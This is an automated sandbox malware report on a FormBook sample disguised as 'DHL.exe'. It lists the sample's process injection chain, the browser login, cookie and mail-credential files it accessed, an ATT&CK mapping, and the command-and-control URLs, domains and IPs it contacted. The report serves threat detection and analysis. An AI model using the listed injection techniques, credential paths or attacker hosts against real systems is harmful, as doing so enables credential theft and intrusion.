Source: C:\Users\user\Desktop\DHL.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\wiaacmgr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: NULL target: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: NULL target: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\wiaacmgr.exe

Thread register set: target process: 8020

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\wiaacmgr.exe

Thread APC queued: target process: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\DHL.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 681008

Jump to behavior

Source: C:\Users\user\Desktop\DHL.exe

0_2_00A01201

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009E2BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_009E2BA5

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A0B226 SendInput,keybd_event,

0_2_00A0B226

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A222DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_00A222DA

Source: C:\Users\user\Desktop\DHL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL.exe"	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Process created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL.exe

0_2_00A00B62

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A01663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00A01663

Source: DHL.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: DHL.exe, eYHtcsfFquWF.exe, 00000004.00000000.1627664270.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708787762.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781545042.0000000001121000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: eYHtcsfFquWF.exe, 00000004.00000000.1627664270.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708787762.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781545042.0000000001121000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: eYHtcsfFquWF.exe, 00000004.00000000.1627664270.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708787762.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781545042.0000000001121000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: eYHtcsfFquWF.exe, 00000004.00000000.1627664270.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708787762.0000000001100000.00000002.00000001.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781545042.0000000001121000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009C0698 cpuid

0_2_009C0698

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A18195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00A18195

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009FD27A GetUserNameW,

0_2_009FD27A

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009DB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_009DB952

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009A42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009A42DE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\wiaacmgr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: DHL.exe	Binary or memory string: WIN_81
Source: DHL.exe	Binary or memory string: WIN_XP
Source: DHL.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: DHL.exe	Binary or memory string: WIN_XPe
Source: DHL.exe	Binary or memory string: WIN_VISTA
Source: DHL.exe	Binary or memory string: WIN_7
Source: DHL.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A21204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00A21204
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A21806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00A21806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHL.exe	29%	Virustotal		Browse
DHL.exe	42%	ReversingLabs	Win32.Trojan.AutoitInject
DHL.exe	100%	Avira	HEUR/AGEN.1319493
DHL.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.startsomething.xyz/9er8/?rPh=y0ZQaQGYytoPYKDdgLZSit2uqdIxJa9e7dCpW1aT2gUHtttnVaZ37Rd6tJxE+MMiCUIjuSyOnxmaU3U+fVZaaX16+D89AnEZm+xwCYUrhMUvMxACYJDUe5GKortKSbmbEQ==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E	0%	Avira URL Cloud	safe
https://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2l	0%	Avira URL Cloud	safe
http://www.pku-cs-cjw.top/k3hn/	0%	Avira URL Cloud	safe
http://www.startsomething.xyz	0%	Avira URL Cloud	safe
http://www.ausyva4.top/al74/	0%	Avira URL Cloud	safe
http://www.969-usedcar02.shop/cfcv/?rPh=yFDcd28s49uqEHKp5gxZDHehDMkbx8O5HFlFfS4Td0kedo/+sd9J73ZTBpR3wC1xC+DY+jWyDKbAELqR1mf/RFpqWmAJN7Naqf7NuMxlktjiSvXKA5GjZW5lR8Lr/Dnajw==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2lC4HeAxlwjpiSK9Zc7LnKUA0uykY2c1YtOuNjF0odUunu7vTTMkkGOdpFXJ3f6l6FBu5A==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://www.969-usedcar02.shop/cfcv/	0%	Avira URL Cloud	safe
http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8PpnvlDT2bJ+R5Sn1ObiYbGTGLsy9HRXwDQ==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://www.startsomething.xyz/9er8/	0%	Avira URL Cloud	safe
http://www.pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ9Hdmeil28QjfyJs81mcvpy2JTiV0mNzD6MbLs+vdIgTAzo2XEDLCKFuL/iGeag==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://www.juewucangku.xyz/b6bc/	0%	Avira URL Cloud	safe
http://www.goldbracelet.top/3e00/?rPh=vcWi2Nuzfs8bFUYEQnXoBGbuOVlE2i7vXXwcNv5UqJ4W+nqlyarjJ+7bYKIWgHEnmSKdgKCrspLX0t5o9qCKhlhB0ucBfa9KdBCtjbE5oHHxOp6OdcL90Ef3I2JAzosFGA==&kVvpD=Bx4T	0%	Avira URL Cloud	safe
http://pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.969-usedcar02.shop	199.59.243.227	true	true	unknown
www.goldbracelet.top	104.21.36.239	true	false	unknown
www.ausyva4.top	104.21.48.233	true	true	unknown
overdue.aliyun.com	170.33.13.246	true	false	high
187370.github.io	185.199.110.153	true	true	unknown
www.juewucangku.xyz	8.136.96.106	true	true	unknown
www.startsomething.xyz	69.57.163.64	true	true	unknown
www.pku-cs-cjw.top	unknown	unknown	false	unknown
www.opro.vip	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.ausyva4.top/al74/	true	Avira URL Cloud: safe	unknown
http://www.969-usedcar02.shop/cfcv/?rPh=yFDcd28s49uqEHKp5gxZDHehDMkbx8O5HFlFfS4Td0kedo/+sd9J73ZTBpR3wC1xC+DY+jWyDKbAELqR1mf/RFpqWmAJN7Naqf7NuMxlktjiSvXKA5GjZW5lR8Lr/Dnajw==&kVvpD=Bx4T	true	Avira URL Cloud: safe	unknown
http://www.969-usedcar02.shop/cfcv/	true	Avira URL Cloud: safe	unknown
http://www.startsomething.xyz/9er8/?rPh=y0ZQaQGYytoPYKDdgLZSit2uqdIxJa9e7dCpW1aT2gUHtttnVaZ37Rd6tJxE+MMiCUIjuSyOnxmaU3U+fVZaaX16+D89AnEZm+xwCYUrhMUvMxACYJDUe5GKortKSbmbEQ==&kVvpD=Bx4T	true	Avira URL Cloud: safe	unknown
http://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2lC4HeAxlwjpiSK9Zc7LnKUA0uykY2c1YtOuNjF0odUunu7vTTMkkGOdpFXJ3f6l6FBu5A==&kVvpD=Bx4T	true	Avira URL Cloud: safe	unknown
http://www.pku-cs-cjw.top/k3hn/	true	Avira URL Cloud: safe	unknown
http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8PpnvlDT2bJ+R5Sn1ObiYbGTGLsy9HRXwDQ==&kVvpD=Bx4T	true	Avira URL Cloud: safe	unknown
http://www.juewucangku.xyz/b6bc/	true	Avira URL Cloud: safe	unknown
http://www.startsomething.xyz/9er8/	true	Avira URL Cloud: safe	unknown
http://www.pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ9Hdmeil28QjfyJs81mcvpy2JTiV0mNzD6MbLs+vdIgTAzo2XEDLCKFuL/iGeag==&kVvpD=Bx4T	true	Avira URL Cloud: safe	unknown
http://www.goldbracelet.top/3e00/?rPh=vcWi2Nuzfs8bFUYEQnXoBGbuOVlE2i7vXXwcNv5UqJ4W+nqlyarjJ+7bYKIWgHEnmSKdgKCrspLX0t5o9qCKhlhB0ucBfa9KdBCtjbE5oHHxOp6OdcL90Ef3I2JAzosFGA==&kVvpD=Bx4T	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E	wiaacmgr.exe, 00000005.00000002.2712106181.0000000005588000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.0000000003308000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2l	wiaacmgr.exe, 00000005.00000002.2712106181.00000000058AC000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.000000000362C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.startsomething.xyz	eYHtcsfFquWF.exe, 00000006.00000002.2712813686.00000000050E4000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	wiaacmgr.exe, 00000005.00000002.2712106181.000000000571A000.00000004.10000000.00040000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2713669161.0000000007730000.00000004.00000800.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.000000000349A000.00000004.00000001.00040000.00000000.sdmp	false		high
http://pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ	wiaacmgr.exe, 00000005.00000002.2712106181.00000000053F6000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.0000000003176000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
8.136.96.106	www.juewucangku.xyz	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
69.57.163.64	www.startsomething.xyz	United States	25653	FORTRESSITXUS	true
104.21.36.239	www.goldbracelet.top	United States	13335	CLOUDFLARENETUS	false
104.21.48.233	www.ausyva4.top	United States	13335	CLOUDFLARENETUS	true
199.59.243.227	www.969-usedcar02.shop	United States	395082	BODIS-NJUS	true
185.199.110.153	187370.github.io	Netherlands	54113	FASTLYUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576518
Start date and time:	2024-12-17 08:22:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@9/6
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 43 Number of non-executed functions: 304
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.

Simulations

Behavior and APIs

Time	Type	Description
02:24:16	API Interceptor	2266586x Sleep call for process: wiaacmgr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
8.136.96.106	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	www.juewucangku.xyz/mia8/
69.57.163.64	Salmebogs(1).exe	Get hash	malicious	FormBook, GuLoader	Browse	www.openhorizons.pro/ir2n/
104.21.36.239	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.goldbracelet.top/eln6/
199.59.243.227	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	www.sorket.tech/ul4e/
	236236236.elf	Get hash	malicious	Unknown	Browse	survey-smiles.com/
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	ww7.przvgke.biz/aikqer?usid=23&utid=8062768193
	Payment Copy #190922-001.exe	Get hash	malicious	FormBook	Browse	www.deadshoy.tech/0sq9/
	new.exe	Get hash	malicious	FormBook	Browse	www.vavada-official.buzz/emhd/
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	www.sob.rip/tp8k/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	ww1.hbohbomax.com/
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	www.deadshoy.tech/0sq9/
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	ww7.przvgke.biz/cairvr?usid=18&utid=28672493914
	Need Price Order No.17084 PARLOK.exe	Get hash	malicious	FormBook	Browse	www.solar-quotes.click/ubu8/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
